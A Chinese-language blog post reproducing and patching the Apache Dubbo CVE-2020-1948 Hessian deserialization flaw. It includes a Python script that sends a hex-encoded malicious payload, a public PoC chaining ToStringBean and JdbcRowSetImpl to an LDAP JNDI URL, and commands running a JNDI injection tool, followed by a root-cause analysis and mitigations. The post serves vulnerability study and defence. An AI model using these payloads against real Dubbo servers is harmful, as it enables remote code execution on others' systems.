1. 程式人生 > 實用技巧 >Dubbo 漏洞 CVE-2020-1948 復現+簡單修復

Dubbo 漏洞 CVE-2020-1948 復現+簡單修復

關注該漏洞的童鞋,應該對 Dubbo 這個架構優秀的 RPC 框架不陌生,所以直入主題

漏洞詳情

騰訊安全玄武實驗室研究員發現,Dubbo 2.7.6 或更低版本採用的預設反序列化方式存在程式碼執行漏洞,當 Dubbo 服務端暴露時(預設埠:20880),攻擊者可以傳送未經驗證的服務名或方法名的RPC請求,同時配合附加惡意的引數負載。當惡意引數被反序列化時,它將執行惡意程式碼。

經驗證該反序列化漏洞需要服務端存在可以被利用的第三方庫,而研究發現極大多數開發者都會使用的某些第三方庫存在能夠利用的攻擊鏈,攻擊者可以利用它們直接對 Dubbo 服務端進行惡意程式碼執行,影響廣泛。

影響版本

dubbo 2.7.6 以下的版本

復現環境

漏洞注入簡介

漏洞發現者 rui0,使用 Remo 模組,最終是通過 JdbcRowSetImpl 呼叫 jndi 來進行遠端程式碼執行

由於該場景復現依賴於低版本的 jdk,之前使用 jdk-8u221 沒能復現,去官網下載回低版本,使用低版本後成功復現


名詞解釋

  • PoC: Proof Of Concept 的縮寫。在黑客圈指:觀點驗證程式。
  • CVE: Common Vulnerabilities & Exposures 通用漏洞披露。
  • ExpExploit,在安全方面,翻譯為 「利用」,指利用漏洞進行攻擊的動作。
  • Payload:翻譯為「有效負荷」,指成功 exploit 後,在目標系統執行的程式碼或指令。
  • RCEremote code execution 遠端命令執行,簡稱 RCE 漏洞。
  • RMI: 專為 Java 環境設計的遠端方法呼叫機制,遠端伺服器實現具體的 Java 方法並提供介面,客戶端本地僅需根據介面類的定義,提供相應的引數即可呼叫遠端方法並獲取執行結果,使分佈在不同的 JVM 中的物件的外表和行為都像本地物件一樣。
  • LDAP: 輕量級目錄訪問協議,目錄服務是一種以樹狀結構的目錄資料庫為基礎,外加各種訪問協議的資訊查詢服務
  • JNDI: Java Naming and Directory Interface
    ,包括 Naming ServerDirectory Server。是一種 Java API,允許客戶端通過名稱發現和查詢資料、物件。這些物件可以儲存在不同的命名或目錄服務中,例如遠端方法呼叫(RMI),公共物件請求代理體系結構(CORBA),輕型目錄訪問協議(LDAP)或域名服務(DNS)。

以上大概就是本次漏洞所涉及到的專業名詞,先有個大概瞭解,後面的內容看的應該比較明白。


漏洞復現

復現場景翻閱了很多篇文章和嘗試,發現通過別人構造的 payload 來複現最為簡單,所以這裡記錄一下復現的流程

模擬 Provider

攻擊依賴於 rome 工具包中的 ToStringBean 工具,所以無論下載什麼提供者專案,都需要將以下依賴加入到 POM.xml 檔案中

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

dubbo-spring-boot-project 說明

  • 一、在 github 下載示例程式碼,切換分支到 2.7.6 或更早之前
  • 二、在 pom.xml 中加入上面提到的 remo 依賴
  • 三、打包啟動
// 下載
$ git clone https://github.com/apache/dubbo-spring-boot-project.git
// 切換分支
$ git checkout 2.7.6
// 新增完依賴後,打包
$ mvn clean install -DskipTests

  • 四、啟動服務提供者

啟動的時候,注意要用低版本的 JDK,使用 IDEA 的話,可以在這裡選擇編譯執行的 JRE

接著啟動 Provier 即可


執行 JNDI 程式

使用了該位大佬的 PoC,裡面注入的 URLldap://127.0.0.1:1389/Exploit,具體原理可以 參考資料六

具體原理說明:

以下內容引用自 Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用復現及POC

  • 一、下載注入工具程式碼
$ git clone https://github.com/sayers522/JNDI-Injection-Exploit
  • 二、編譯工具包,在 target 目錄生成
$ mvn clean install -DskipTests
  • 三、執行 JNDI 工具包
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

例如測試時,執行的命令是開啟計算器,可以執行下面命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1

構造 PoC 對應的 payload

編輯以下 Python 指令碼,觸發 dubbo provider 反序列化,例如以漏洞名來命名為 2020_1948.py

#-*-coding:utf-8-*-
import socket

def sendEvilObjData(sock):
	payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
	sock.send(payload.decode('hex'))

def run(dip,dport):
	sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	server_addr=(dip,dport)
	sock.connect(server_addr)
	sendEvilObjData(sock)

run("127.0.0.1",12345)

最終復現效果:

漏洞復現小結

  • 1、下載 demo 程式碼,加入 rome 依賴
  • 2、啟動 JNDI 服務
  • 3、構造 2020-1948.py Poc 攻擊

漏洞原理簡述

網上公佈的 PoC 程式碼

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/#ExportObject",
      strMatchColumns=["foo"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
    method_name='rce',
    args=[toStringBean])

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法,重寫了 toString,該方法將會呼叫構造物件的所有 getter 方法

從上面 PoC 可以看到,執行 Dubbo 呼叫時,傳入的是 ToStringBean 型別引數,構造的物件是com.sun.rowset.JdbcRowSetImpl,並且 datasource 屬性設定的是 JNDI 暴露的 url,在呼叫 JdbcRowSetImplgetDatabaseMetaData 方法時,執行 connect 操作,下載遠端程式碼,在 Service Provider 執行,造成攻擊。

調起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 請求,在 DecodeableRpcInvocation#decode 反序列化引數的地方:

dubbo 預設使用的是 hession2 序列化,解析引數執行的是這個方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

hession 反序列化過程中,通過下面程式碼段執行到了 ToStringBean#toString

至此,注入攻擊的流程到這裡執行完成。可以參考左下側的堆疊鏈路:

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

社群討論&安全網站修復建議

  • 合併社群 aquariuspj 使用者給出的對 DecodeableRpcInvocation 增加入參型別校驗

    修復分支 #6374

  • 漏洞發現者 rui0 建議刪除 RpcInvocation 類的 toString 方法中輸出的 arguments 引數,防範後反序列化攻擊。同時對 Hessian 進行黑白名單加固來防範 Hessian 反序列化攻擊。
    評論建議

還有阿里雲官方的安全建議

目前官方還未釋出針對此漏洞繞過手法的補丁,在阿里雲提供一個月的預設防禦期限內,建議客戶參考以下方法進行緩解,並關注官方補丁動態,及時進行更新:

  • 1、升級 2.7.7 版本,並根據https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 的方法進行引數校驗
  • 禁止將 Dubbo 服務端埠開放給公網,或僅僅只對能夠連線至 Dubbo 服務端的可信消費端IP開放
  • Dubbo 協議預設採用 Hessian 作為序列化反序列化方式,該反序列化方式存在反序列化漏洞。在不影響業務的情況下,建議更換協議以及反序列化方式。具體更換方法可參考:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html

思考分析&修復思路

1、復現條件有限

需要引入 rome 型別的 jar 包,包含特殊的構造方法和 toString 方法(或許還有其它攻擊點)

2、社群討論內容

社群討論和 commit 的內容,增加了前置校驗,在反序列化之前判斷服務或方法是否有效,非 $invoke$echo 方法將會丟擲錯誤,不進行引數的反序列化,增加了一點攻擊難度。但由於方法名 methodName 可以使用者自定義,所以修改方法名還是有可能跳過校驗,觸發漏洞

3、結合業務分析

業務方使用 rome 依賴的很少,構造這種型別的攻擊,由於沒有這個類,在 provider 反序列化時會提前報 classNotFoundException,沒有執行到 readObject 方法,從而無法攻擊。

綜上所述,考慮到修復難度和影響範圍,最後對 dubbo 修改方案如下:

  • 1、合併社群針對改漏洞的修復分支 #6374

  • 2、將 RpcInvocation#toString 方法中 Arrays.toString(arguments) 移除,避免對輸入引數進行反序列化


絮叨

隔行如隔山,一山還有一山高,修復漏洞真困難。感慨漏洞發現者們,多虧這些白帽子的仔細,揭露了這麼多可攻擊點,將漏洞資訊提交到安全中心,讓使用方瞭解到漏洞詳情。

還有 Dubbo 這個中介軟體的社群活躍度很高,出現問題後,大家討論的熱情高漲,積極去修復漏洞,社群活躍度高,程式碼更新快,支援的功能越來越多,使用起來也更放心。

通過這次分析,瞭解到挺多基礎的安全知識,感覺隨著開原始碼被研究更透徹,可供攻擊的點也越來越多,在程式碼設計和編寫時,也得注意一下安全資訊,避免被攻擊。


參考資料

1、Apache Dubbo Provider 遠端程式碼執行漏洞 (CVE-2020-1948)

2、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用復現及POC

3、Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其補丁繞過深度分析

4、Apache Dubbo漏洞CVE-2020-1948分析

5、Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事兒(上)

6、LADP、RMI 注入程式原理說明

7、示範例子使用的注入程式

8、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)

9、marshalsec 工具包

10、滲透中 PoC、Exp、Payload 與 Shellcode 的區別

11、Github 社群討論